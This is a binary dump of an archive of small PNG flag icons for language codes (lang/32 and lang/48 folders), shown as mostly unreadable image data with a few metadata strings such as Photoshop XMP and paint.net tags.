IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��]hU��3?;��M'�n��֢�Z���ZD�J)+�㦩��Fl�E�`�V/����0iD��i���O��E���	UӤ���ff�/v������p8���{�s�#�R�$4V�@,��Lx@�V���k�/c=����k��l7�`��g��[�
֦�(����qy�
�m��k�ع��G��r�"��&�OD��]��u�����SJ�����?��e�^��g���\TB@w�YJ�-�}�sDT��*5qj
q�c�����:+�
�߈ș�e	(����;G	O~˓S��hwz�;Ξ^����q*���N|����>f�2��_sy(Pu2��r5F�@(V��K�~� �Ӄ5�� ��%N|}���m����-|�_��)X��D9����O�m�duW�Ļ�dO�����Q<�@�‡��V?��?.nP�AH�����\w�	K��ܯ���4޼�.Jd�:h�u
랻�׷���NݴL��0&&&:k)?������ds!V�½1�6T7n)�z%2�L]ض�����s]�d�ѷ���HI:�&��^��n��n��0�	h�G�Gh߾]8�)��pvJzR)�##�������RJ4Mк�#��-�C���N�{-HY��@)��,�@J	���j�-����`��a^h]�Z.�R��T>�q��uᙧ�l������r�ΧQŢ��\Eo�y�n����CP���
�Bʀ��%{��%�f��~����tM�q�ӝ���y"?���uC13L~.��[q�!շ�/
��BT��FB��T*��qZ�o!��mjg,�p?or[~�$�;A��l&�@Nܺ��4��!�s��t�IEND�B`�lang/32/si.png000064400000002540151721413500007032 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�E���{gg��YWE��Ac�;#� zĠ�A"x������x�"��(
��g�H6`b6&��������z�Cwfz'*$�X�xU���իj13�eq���?"�Q��Y����k�J8˕A��;�傷fc`%Dl�߲�O�_�}Cʾ���Wl��2���Y�1Nѫ�V�4��=k�9�?���50
[V�g7+�9�_��%��>}�զ�F��ȃg�Ì5��p�2�L_1��z1X�f��+2zE}�^-N
��+���ݐM�X��f��m+}�2�<��GZ�u�0��iA8����':�cи�U���
W;B��d��.$��:�YJ�wk�����f`fڱ����B�o�����o{�Ehm����	Ǐ/{�P9����)iѫ��=
@�dx@V	����٘p�,��p����u�Ⴡ��Gށd��\/t�������ӑ�V\���>��`�#�~�2��
:�m#��֏0u,���Z?�`��Vb(he)�ϫ����[ʺ�N�h9N����3�D�-�z!iB�/c�7cqO-�47;�?(R`n�.hg]
-�^M�i	�׏�h:���q�
1ރya�C��1#�]#��n����>U�s�u	
�-
�g��#�30~s̪K���&�plz:�s&�K���Q�Ը�ǰf�gnw��,��fo�`:0F
��8�� �6�j��RerR�h(�
%2����+�(�=fŐ��P��u�PL�<2���/�;�H P���"(4��̬uLL�s�z��T�l�h��N���mP7��+�^�i{����%˕��2������Y�Q�SJz����P_P�e3�_J`f4�&f������Ǟ2��?����G��gs�T�qo�֜�\$�0`;P� ��_H0l���N��HN!�=���Yq,�PƸ�	��|�j��%Jgo�>�|��(#ư>�$3�����y�:V�.���	b�w;:G��ª���2�a E��ε�-��Àf�^	|�%�Y��A�����S�Gr6��0�%BDР�0���9�K���"�d ��,R�� ����R�o�@dyX"�TcEm�|�:E<���=U3�h��z����/����
2���m̉��+��m�N������8�T�S�?�%������i����IEND�B`�lang/32/my.png000064400000004036151721413500007046 0ustar00�PNG


IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:2F2ED6DB918211E093C29BBC86893640" xmpMM:InstanceID="xmp.iid:2F2ED6DA918211E093C29BBC86893640" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D1CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�%	�IDATx��W�kU�����&ӄ�֢}�&b��V�� ��o�o>�K_�$B��R�P�gQKA4����(J�&(��k��d��3s.~��dwҽdd�����g�9�ﻟaZkl'9�fz���A��%Ib��π�{�>���w�N>a��'�7�{��U~3��@��TLFy��������z��(��2M�P�*w����I��W Y�ZJ��:
�;?�("�<��fk�4#E�e�tDϵ�b�o?�zx���f�Z�DB�I"hٙL�fn���<
*�%/��a�����|�<�]�NIJ�h-�Q����%�ݯ��g��Əw�Pt��r��0���nk¯��0��tp�5mg�g}�����(v��?2t�������̮��e���,R�i�T%��WiE���
#����e�j��W_ą��yC������%���ٔ����|���p6��u��Og�c�N�=��`��9�(-��l�����>\�XaS�� QE�D+���-~��3&F'0��x��j��i���,���!����x���0��jҪ)S(����폰�W����gfΠ�e�
���3��̚�k�P�m��B�էFza�d4:Xڇ�Sz�?�s|'W�d*l���k-%)74���K�?���oU�+][��9"s�	�����lV&�k��
N؏���C����|��up��'�����w�V�(�m�{�GJ�_��9j-�M3�9�/��s�������'����H��H���zz��o.S�*���\��~z�\)�c��n�3ÐK�PnR�,��'��bw�i�?(�[7F�*	����Ld�Z�hu�q Hk[��ƵdV�N�Z��Y:�YB

�4��Bp����;芌dI��e��.��i���tq�ik���$<���^I3Ť���%��=��K�+˾	vd�^�I�U���t��'���x>�
IEND�B`�lang/32/te.png000064400000001275151721413500007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/tl.png000064400000001704151721413500007037 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FJIDATx��OhTG�?3�����U�Gh�	A�-�`���֛ )���E)�*[��*�K@�R̡�4E�� �ƨ(mi!
˒��M��{ofzx/q]b(�Mr�������~3�Z�F�d��9�����i�:��ˍ��#�D��	��������v�nz���:��
������m������Ç�$��M����:��B<���ϩ][?��}�$�]�K�Zرc3}}�x�&SS��nbM��TB����l����6.�db�o'��Q��u��ԙ�8~� CC㌎�A))���d]�1�Q=�C:�2<|!d��)T�+D}��Eo��d��T
I&݆�}@0j'�0>���$��p��U
��Dc��Z?C��=	,�����{��ο�'�y�`
'�iɛ�+�ŹUm	|]����ވ��*���.�n^�+����Ʈ�]u��QJ��
�0y��x�ltv�L���p��/���?� 3�lY��"���}�
�
P�@uE��o1��:��i@�0�р�!�� �8����hLu>��ⱏ	�Dx-��
�'Ƙ(�$zc���&;!�I��/?�L��-X��5NX�A�4��Y�g��p�{�Na+D:
ZӌD`Õb����g�u�$C�R�^	��>�O?��or�L�\��>hS�t8�!�.L�L�o�ʵ1��J�Ka�H]�ꗄ��3���?��l��f�%��jh���K��	��ȗ_lrȗ9����u��>"����5���ilv/��L��M��Ӫ@Y<�n4��OV���L�IEND�B`�lang/32/co.png000064400000001774151721413500007030 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���$tEXtTitleFrance - Corsica+U�PtEXtAuthorPatricia Fidi3M�9tEXtSoftwarepaint.net 4.0.12Ck�*IDATXGŔ9H+Q�5*	*�H��AP�6��hc@RĠ��ڹ5��Rp)��D�+�!��U ����܂�4���p�߻��>��D��?ឹs�?��s����A5�
�)nPMq�j���*�2���	�Ӊ��lX�V������{{{Œ������AI����sTWW#..�}Qll,����v��7���Ittt#iB2���M��������Q477�������/�����#������������F#��<1;;���aa��(�����-^^^pzz���F�znrQ���T[[[����ڑB�@KK���h̊����r���:���<�s||���zO
E�f�CCC�������
=[YY��aݠ�j�
����W,//�\)
��)))�pLL�����Ԅ��:���J�n��d2�v�����=���5ppp@�W^^����/d
Grr2�P?<KMM
�������V�Fր��%��\T~~>)22������$V�� k ))I2yTT233�KLL���NNN��}>���4��)��rss���)j[V�b�H!k`zz��HJiii�������0>>N�(���`0���*n2��q�#`�lkk�v�C������LJ��ߧ�������Eggg�Z6�
ܤ����pwwG��ݠJ(����***��������g��p8066F5�ķ����~J������zƾ������4V�G���M;���E}/������*�P����766���a~Uܠ���7���A5�
�'����e��Kf�IEND�B`�lang/32/mk.png000064400000003325151721413500007030 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��]�]W�k�}���;�$��LbUDM,
EPZ���iE�ۚ6�J_jA}�1АmK�S�����ƂO��/k�M�����;��|콖�f��t��a�{�����bf��p���	P}oeD �@��7��5�d�z4G���H����
�XX.ԏf~���γu�x\�#�6ок/�~$GR����_�q��v{`������uoI��L}j���_rPۉ=�P�3jSZ��μ�CJ��I!�:�=!�{`�u���x�K�_e�@�n��U����i�z&�E��
K#\�W��� =i�S"u�������#$��P��jJPl���X6�H��72���]Jp
�Qd�r�3�:X)H(���䷫
���^t�%�,��J��
�l�ջ�_�������C�fJ�o�4FJ!vs�J�D0��aL=��:��(���� �XYn l0��ÛZX�	�g��ӏY{*%\��ah��5]�-�%�ƮSqI�N\-�F��c��	���n�w�TW`�,���L�`���:᪀��r��A�$����
��B�75l�:X�� /��n@�X>@v������ђ��t���yʷ"x��q�H�T��o�����G%����k���!�ӡ��@;�eR�^ Q�	�B��F������Hqٱ�:�F�wCZZ��F�A"HÐ)�/��#x�:����oj�ĺqE�����%�eW�I�}OH�Tt �!u!.
�?jW4��m�Y%9�����è-D�Y�]5�^⛯�@�Cz�v����#�3�LЮ`�B���X�f��Ҥe��@뾀_Pܬ��V���?
�X��	)郔 6&v'���`RV9��k���d���a�̶sp�X
���Ю�kFXv�k��Au�p�����鐚�}Kh}=�݊�n��/'������d�H�~^��?�$J2g$�i��p�z
��V
h�X �Q���9������N�.9�O�L=���L��WNY���N/5C&��Npj��N5$��.ǫ�U�{Ng����M�^m��<�E��2�ݒ}�*Y�i���7+ڀ�b���$&�a(f�������a��]�����
C���ӏe�P��X�q�G^��?W;v�Zf�����
DF�
5tw�xi�d���P�ԫ��pI�H	N����|�I\�ԣu�@7�|`|mb���d̰��>Lϙ?��Ň��U�6��$J�[qSZI-⫹K'�W��s}�ϰܰ|��Z���[6�{��{v��a����ږ�L@�G+��
�A�����[�q̞���C{�}_�1�,��Ñ���aAXv,�l����&Ǹ!in�n���{�e��s,�hQ��0�����}�_�!�m����=�Ա��?���M�ua��&��~�v��Bq����d��N
���s�V��`��!��s��S)��1���'W�r�"�����_�@�#��zI#"z��n'�ŝ�,�(l<��eF�WqOvq�)�M�s�]��-����e�&�}oe�|�8���?f�����E{IEND�B`�lang/32/cs.png000064400000001521151721413500007022 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�W��[?ӎa范B����q!
����%� I  4q����EƍQ	"�Qɨ�!�o���&��]U]U�뢧M���Cw��ūMqO�s��<QUf3�����Y$,������h�z�|��ʳ�X�z>��|P�
e(�YG^���U�xR$��ଣj��_���ɛDI^����s�ܒ��r�{\�ֽ�!`��9q�'���x��9q�nG	�:ƣ���[���7~4�_-�����ȍ��o�]�����S��YΊ��t���ZK��l�S�2�8#R��6����H3�fLÂzf&֣��Wj���� �ˏ��%��m�*�|���!<�s7��4��.w���ٸ��Y4-����"	{:�ߛ������^9�{zZ��Z�uX��p�H�g�3vEV�Pu�i�B�N�Upo!�����
6'��ӄ�t�GK�LQzϣ��k
�7�3�.�l���olH���'"u�3_ͳ�=`}M���+�G�αЎR�
�n����1�uZ����~Cr�o�+lM~'Tא�!Vk�d|�1�M�?6cl�/�>�G]��)�Aע�S�(H��t��Q�O�U)���."X�'���"gKT��:�0.�%Q��p�Ў��UX�?!�)㐎F����]�����Qg��VI�|,�R,�n�ĝ�g�,)P���ә&�r)��A���`IEND�B`�lang/32/ga.png000064400000001155151721413500007007 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��An�@E_�&���"!N��+n��$l�",Xqr�X $&3�nwWǎ��hy6�M�RU�ׯ_�jgf��2Nl���������O�l����ʼ���3.>~�(�U�e\�z����ח�>���U,�
>�\�;��0l�u���W{_�;_a�,
U�-Ml�0`����.@@P�
u���3L�[Q"���j�4�jb�s�8�J�TT��ӹ#4w��hC4�m�t�r�AA�$R��4p��8N�<n��;"�
�OAe�;��w ���IOA�H��1Q��ФŹb��W�4��~��	��j�@4EL���6Q���=$`
�����B���= �������0d41B�é<�2Ԁ���L-�1"BN1�?��PU���?~t�޲�87'��޶��p8���4�.����r��^6��\o�i��x��y-�
|wݛ`ٝs�J��8=5��\�&W��XIEND�B`�lang/32/ml.png000064400000001275151721413500007033 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�lang/32/en-us.png000064400000001476151721413500007455 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��?hq�?�D���-�$`������"R�P�:��ڦE��(�48�K�3��A!� �;�RC[-X���m���=��^RQ{�^<���o���w�~�����b��?
p�2:i&P��Ǐ��vo�ww�m��.OFw4�8����or��3۸�<��0##/���I�s�$���_���V�J�Ѐ/��Zo%�V��sWc=��I�@)EOO;��S�}$�O�[���8��A��C�hy���s?�@7�8���R�?�����F7����V%{�$�`p��d���ph�1���Ƈ���C�]뢷��L��@��65�R*Y��^���y9v,-���-�+�IO�%�sD�������)��m.b=W����ł%��+n�>C��M��>NG2d��D"�qd-��wv�B|��c�;�1���TNA(4$��e����`0�a[� &d|���՝��1{8��}���m�5 \�/-�0�vC�k�۟��_ǁ�/�5 l�f��r�Ϭ���v7{����1L��;��܁��cM�2
DQ��mB�ŕ��uS�(Ӱߏ���`eejkW	L�=L�׋,�8#Am
˥���JU��9
��B���hhhpT���hl\%�.�Bc��Qs_�*`�~��2�(�L
��:������_F'�,j�/��M�-�	k��9IEND�B`�lang/32/pl.png000064400000000574151721413500007037 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��=j1F�ff�f r��&��E��2�@�[�R̀'S,lc7Vcd~�,�I��
4�`�엱�9p�����&�7{�s���%��l߫�t�0�?��?��R�]w;�ӱD���ڐ)�)P%S��
���$Ջ�D�@���0@�en���u
�3��+Pu��mr�1롊
9<�;�`VS
�	�`+��5G`8�@���|W}����</�c�6���"J�
���X�����w#�x1IEND�B`�lang/32/sr.png000064400000001761151721413500007047 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FwIDATx���k�E�?3﻾��ƴ)�1?j[V�*�^")EE��PA�����੗��/z�Eăk�n��JPYi�l���3�x�&�m��Mqs�s�w杙�3ߙg~(�{i�=�{
���,�����Ͻ���g�Z�з���ZSxf�����e�!0�K�jp��f�I�H��t�wwUTG[��w��C�$��}$n�Z�x
xyԄ����F/q�e�ރ�,�Ho�L�������ۏ���߻��v_�v`���E����c��`�� ��4��$�Jz��<��P�X$�(�Z;j�}���&��
đ�ב/�-w��ނ_�t��ӌ�/ٖ��+ߑ_�Q_F�!(�z��ZX#"��{�_ؗcU'�����FJ��[�ud���D���Kϣ�4��(�x������;`Tw��@�(��2��@f�z���v�~�����1�{_�fO#��Ëx�o�y�d=+�!3�	`�6S�L�N��a��O�{�5ܥ
�:�w^�;9��� ��=���kݭ@��nPuhE�����b-�t���О���� �k����X��֠No�м\�\�0X:�3����k��ڶm�VH�-k�9�m:�ˋ���#�h\,cE��q�>��8) 2�>�&�X��m�gտ~�0�5�0�}k!+�A�R]}	qO�df3�&�$q;Ycn��O{�ڻO�zd��R��o�p�Ӟ/\p��$I0���Λ��co~���X9�K
n.`�(�:��ۈ�G�dEWn����r�"?����]��(�X,N��4�3l��]:�:�۪�;M��e]{�8Y�+"�j���m��8p��",�&l�}����8�k������IEND�B`�lang/32/hmn.png000064400000001431151721413500007177 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�lang/32/su.png000064400000001551151721413500007047 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���kTW����2!�d�b[��T�q���`�.�Z�B?��t'��ť ���FE[W.���_]�֨�X�v$:��{�~�����5`f&\���}�w�9�#B��D���@����%���F����/�{LܥM�]<�V�+�6S�=���J����C�)��
��0�Q�`k����'��$���i�ܛ޿�����J%P� ,�+��}12��CG�$�9�$���*�V!��e
��1n�2�j��$	^�X�I�"��a`���|�w7f�g�\F�6q)�ږ�y�S7j��@%�3C���/����E�r����"����Z���@�����cӇ|��av�onc�Lh�c�(R�üԊL+�s�K����Y�i*6ޱ�S�:��3R�7�MNjrR�����C�\9���_1ζ�(���_�˩[�p��)F����+0����w�@��SUgY�Y{v�:���2�P�r��=>D�����̌�<`�"��R�(������!��t��Cq	�sx3��D�=5���({�
�������u�8BȈ��}�.�c�����P(��R)��G���
�k�m���i��wd�\����
�s��Jg�!�Z�C��#H"���.L2ә:P��><D�_ͨ�M�]{��B�5��;3��@>yF�X����
��3��$����\�W��D�'(6u7E��}s��/���3�{eJIEND�B`�lang/32/iw.png000064400000001426151721413500007040 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엿Oa�?��J�2�e����Eb��0��au2q�ſ@t11&0801�:���8�1�(H�U�C����}��#��.>�ݽ�������Zk)
���Ż�"��	Ĵ�ن|�m��@��@�ҭy.����qк��Р�C
Q1'�,�Ėޕ0Eu�6�x�q l(����,����\9� �ǚ}pvH�z
�U
���/��8����Z��Q���C*���X�A�s�:�p�-��K�"O*��V.��˓LeU�jr����_`��4EL�3߉����K��9ۥ-�޵�FM.0ket��:ڢt�F�=����W�`��7�:k2^�F�8�t1Í�^"!�H���X/��'"���]�6lGb��F4���]�#%PkS2��ʺ��P���Ž���E���[6��5�*�4K!ľ�5Ssi��.+_�I-m�Z��廯�=�Nv�aj.���0��+@�uݴi������m0�f��{Ƈ���9X*{�`�P��RU��&Fz�B�6^iӬ������s��>���L���cB��>���aױ�Y���J�q'Th�i���G܊�t�u	˲�ߒ�f5�0��²,_��b�8��>7��kQ<4�~Jȉ���F�9ک���CtIEND�B`�lang/48/bg.png000064400000001160151721413500007013 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��K��@��nw��p&R2#$��`�w`���'�s�q
桙D��qW���/
Rµ��nW��mw;UŲy��0��ȀIu4a�<,���ju����[|��_��ܪ|��>O}%���a�҂������?��M��7
Pl	�|�j:gWL|&���Y(�����m<zqD�p8��S�@D��v��8\P�PJi�
�C+*<췦�VDc�CQ�[�-�NG-ɜ��hD�Q˞�P=��;m~�U�9h]F���NՖN]ݱ�'-%�K�G2m��`)~R��;9�X�h�փ�N�����t���>�0~����� ����hD�e��b�AU��R]�l�K���<c�x�p���P�Wҹk��j	��m��W����5�$�ӧ�3���-��Li�
��0�>>C^*�<7'�p1A��,.LD�������;N�3����v��`���k���̐qIEND�B`�lang/48/en-us.png000064400000002115151721413500007453 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���k[U�?'I$uIl�*�&�����@e/��P؋�?�+E��Hk�/D-�Е���:�1D_(�Q�X_���
��nU�$M�������ִ�'��8���ܓ�{��y�<�
�An!޺�����k���#@���7~��'nh_s��+� !��ԩc��?ʅ�
:�>��_��k���gΜ7&&�cs�@kn�s4厇���k�_9�ߪ���1��$��"�Ķ��͞cff�[K�͞cv���x�lv�ٙew=oe'�y��)���M=��/�@���_7|�^��*��W����
YОwG����G !\lGa�6KKSLO��+\��6��5}�G���~�'}��k���wS,nw,
��u}�+Ǽ�#���c!Ǒ���ic�6�/?��r��=_�C�E6MaE�u3�P�&'O�l���(��c�÷'5��i�����Wg��-��Ç��	����8�q��[[��1��;��e����ǍBRJ�U�z�`ee���W}�*�?�(�"o��d �y�H&�V͎1�+Zè*�8�[��-�n��~w�����!�_d<3��\~������9O�rY.�H&3�f�V}�Է�0X6<��2�N�`t��/.v$�\j5���E�r�fu��I=����^�(?>P�[J&���~�H��T�h&�r��/�
5H�������2p��N"�ȷ��	 �8�
���R��C�׋����'bZ(�
�Ѣ����	@�
PR5
���W�ZuW�{^��������T(�i �W�+�{T�r�걝1��w�Rm6E�g�(G6�ܺA�|�V�A4J`q���Zr�Xo/j��C��m�͗���P�O!��
1�����~ ��R��Dp��-atm0����f��p6�%�������5H��E�K}@@����{t�.��IEND�B`�lang/48/el.png000064400000001565151721413500007034 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왿o�P�?�q��I)ji�����, �0!�0ucAbfCl0�!$$�ҝ"ub	��c�1$i��N\�M�DN���ܻw߻w?�mT��r���� �W+hmm�]\��)��-8w��V%�����Ϋ��ǣ[�\`^P���SM�(/M����^p����i�P��[�cT�S�I������$�|!�T!��"�"q�����:�&$�7ֈ!�
L,�(���>9�wD�ځ�t];�X�<��>�����K 
�8�p� �+��{����h�Pl�c�sn&���*�͛Wܓ�H��b�l�!�k��h���^�L@ �+�+=�q�
^�`����y��A�ވ�����(�������a�~@#�c��Ҩ/��/�z��mh�Y�6�T�!Xy�~|��D<�	-B\�NF!�fL���[�&��;m�Ṗ<����i�N�=�WDd��M��8�����QOgkD��ғ�xj&��O�r&t"D�8��Є���V�[f�;�@�*�v��.,�ܖ(�@Or��!�i����?H��d�?����bND��Ô��#AV�u���=�Y(�.���)
Vo��`vvvթ�j��iTD�������B�ā�[�|1��8��
�M��1Go�:D��2���P	�Z7 ��u�����_���
��K�)��b�|^��^m��o�_����
�Ku��FGIEND�B`�lang/48/ro.png000064400000001604151721413500007046 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F
IDATx��Qn1�?o6M$(���q^y@H\�[��Y8/�+ .�)jKSDbǞ�!�ԻI�v\Z"2R��nl������T�]���=�=���z����%�����O��|����;0�~v��F"ʛ��m�ԯ�_զ��/_F50UR~���k�sM��~堵��������4��ָ�'�fT�7�*�h��{P�(1
1�r��@��5״�N�~�-��+����X����-�u����5��bb������β���n>��h &%�a&�@A7�\7!@3��R%�D,S�iE���������#!�;f@m!�(��Z`ZB��}4�$�3���e�����=������9ҫ �,��0�(!�D�z���F&ޒ��ʬ�W?�<ϲ�!����&>�Clu���lM�B�l�S
��9"���-��w�4ZUQ��dt�dp������Z����I�!r:4��=>jk@��CZ�U���E�RB�>Ǖ�)%��eo*Wg)�B�]]wXldt���R�F�\Ӯ[-����|�U��*.��]N��r2u��&���>��(;Ւ��z�YHM�J��$�^�ŀ^�R��є/dB�)�qQ����[��e��ΘP��ಘ�Mo=O��̹e�P���v���9����P�FB:|`8�v��������k���:8;��.J6D$<^OvL�?�o�����K��S���p��g�+���b�IEND�B`�lang/48/fr.png000064400000001655151721413500007043 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F3IDATx���n�F�C�����F GAO>��K��O}��
�u�97��K�Aキ�K��$w&.�l�1%� ��]�����ff�3c�%c�e`���H��P�>=}鎏�ONN����]v��Ç?�2��_�<��?߿q�KU����^V��/?ww�����=w��*��\_�H����V�g"l2�����mfH&|�fF��!����S��@U��O�C�E
��
��P5��UH�YH�\l*P�����(�@Y��%dEu�EhW�dy�;b��J@���(�ɶU��ۘ���/V�X+��=�{�R:Ӿ�%TtcAy;b�0�,��Ѕ�����J��}���}	��<���^V;q�#�?,Ӈ$��J1-��Z�~ �3,揖�٬d>�!
-��U�n�[0�x_�	���+	�b[6�:��"�<�j�L�l��nc�,e P���%��2����Hw�+&�	u�w|���=�z��o�]��FC�v���u-u�Y&T���=��Y�@��;0/.G�%j�5��)mÛ9��d%��HG/2�,�@����Os:�n�5,D	8�5�0P�$n�� И�7�T{�M䁨y�?����xOU���h}W[����{�i��m+��~���B���BU��hl��x,ܤ'��zBZ���rN�sI�ؾ�*֟7ju(�`��
`hE��	��F��Pt�Ȧ�x�l�dヵƻg����d��WWWkp}s��qB��)�j`~��Y�/�c=�⁉������Z�ħ
���nIEND�B`�lang/48/bn.png000064400000002647151721413500007035 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F-IDATx���kU�gfv��&&���~�mj����X�J[A/��Q/�B��T��]/�ɵR���T��R�MR��|���9������d?�
�Ŝ�0sv��s���}g��2��c��.�]�w��:H�a<�7_<�՟���D��‰#/��/�`,���c��@�l3�q�
��nG�js�l��]�Ү]��{F`(P�8�sI��k�ʤ��L���Qʖ53��
E3��u���h��O�XT�@P"g��
�|"�\`E�\L����'�`��LV�r���F����MRG讽���,*���D6�N�Sj}(Zx�r|Qط��L�D
T=X,�z���Il��K�!���E6�K�!�.��@V�>]VN_u<����p����‘ex�o�0�seҀ�w������GT�tH��|~�Qt�Q�G�a��?��.��/�,�o��'�.ǀ�
	�`z>Y��6�H�������լ�q�~�`�Q�����Ky*��h�����G���=���u������D�J܅��sE8��X/&+ߏQ���Mx�Ϙ/��}I�7�c@�6���H޸:E��f7^�	��3���7q"�*��r����K��}�X����q�n��mǍ罜U�Ÿ*������F�A�����;sI3�<��`�2�l�1^�K�:�S�9v�%��0��Q����\�&~����W\�Ȋ�
;ĀV�m�A��y�<���[���bDA:�s�Ԝ�����L;:S�t�i�����j�U�yqwˊ��Ih�g����ʕ�
b�����2�����0�|��'i��m�[�2\���J��Ο6�+PX����"5<��H��O�����ǐ�$��-�ڽtx�ޗ#�i�;�.鿧_Z/�2��@�,(b��/x��F"m[�[.��'�ܬ�d'�/�M�3����H�N�R
��'n�p��O�YU)Ye3����,�V[�K��Ԭ�d��4l�Q�|E�rm>x3��0������y+��C���qZ��������=;&���彆3�
�p�c$��8q���O�@�?�x��.0h�3�L:�u�]ς�O���w2��M��UavIx2T��_{�R2�>e�0�3w�C| �_�e�UŘm�'6	��z�M{L�+�`<T<`�h�5
�#&���Hadޛ6u�d��R��K4��.�;�js��l;@|���M�3��n����W�AM�k��
�'g���1`j�&��aH>/���AJ!�fv�����౦���*|aPIEND�B`�lang/48/lv.png000064400000001443151721413500007050 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�@����J�ZZA%��\z�	�}-އ'@*����j������&k'-EH�����gwg��z珝��r�H��F�;��h''{������v��ggW)>���_�����4)翜�s��n���b",���7�O4�r��=��^��e+Yo]jO`f��
��̌rԸ�I�*ڶh�zE�'�n���ˠ�p�H��
���x�9�������#��TS� �6
�\n�A����U��Z�3Y@�h�$�_����%��(�u)$h]? N�d����Dx9aZ�RU�b�F�0��"|Z�X��k��� e	"��e�#жIE��9ڶ4����"U�N��s@���C�*�R�DV��+3��d)���ЌF��?��P�s�
�wGGXUm�k-���D��/*����'����i.`7�q�l��l�#������܂͡kJjjhpp�[X�`�'kФ�B]+R"��պ�M#��"�+ �l�7ܻ�_��`�l6;,U�s��Z��Q�|��z��m��"'�qb;ַ��q�j���e��X�?�md�g�f�?���P�^�޶Z��Im���?�ҨB���l
